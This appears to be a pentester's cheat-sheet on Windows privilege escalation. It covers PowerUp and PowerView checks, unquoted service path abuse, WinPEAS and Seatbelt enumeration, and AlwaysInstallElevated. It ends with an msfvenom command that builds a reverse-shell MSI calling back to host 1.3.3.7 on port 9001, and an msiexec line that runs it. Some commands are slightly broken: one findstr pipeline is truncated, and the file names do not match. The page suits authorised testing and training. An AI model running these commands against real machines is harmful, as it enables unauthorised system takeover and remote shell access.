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# Privilege Escalation

###  PowerShellMafia

Try to use dev brach always. PowerView has some cool functions to use.

* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1>

```py
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"
```

### Unquoted Service Paths

Let's say we have a system path like below.&#x20;

`C:\Program Files\IObit\Advanced SystemCare\ASCService.exe`

Windows will first try execute it like below in the following order&#x20;

* `c:\program.exe`&#x20;
* `C:\Program Files\IObit\Advanced.exe`&#x20;
* `C:\Program Files\IObit\Advanced SystemCare\ASCService.exe` &#x20;

If we can plant the exe in one of the paths below we can elevate privileges

* Please note that we need to either have the ability to restart the machine or restart the service. Otherwise it's useless kinda. &#x20;

#### Enumerating unquoted service paths

```py
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v 
```

### WinPeas

It is a great privilege escalation enumeration tool. Find the releases below and simply execute the binary.

* <https://github.com/carlospolop/PEASS-ng/releases>

```
.\winPEASx64_ofs.exe notcolor quiet
```

### Seatbelt

* <https://github.com/GhostPack/Seatbelt>

### Always Install Elevated

* <https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/#:~:text=For%20this%20purpose%2C%20the%20AlwaysInstallElevated,any%20program%20on%20the%20system.>

Detecting if the OS is vulnerable,

```
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

If always install elevated is enabled, queries above should return 1.

Exploiting it is pretty simple. Generate an msi payload,

```
msfvenom -p windows/shell/reverse_tcp lhost=1.3.3.7 lport=9001 -f msi > shell.msi
```

Execute it,

```
msiexec /quiet /qn /i 1.msi
```


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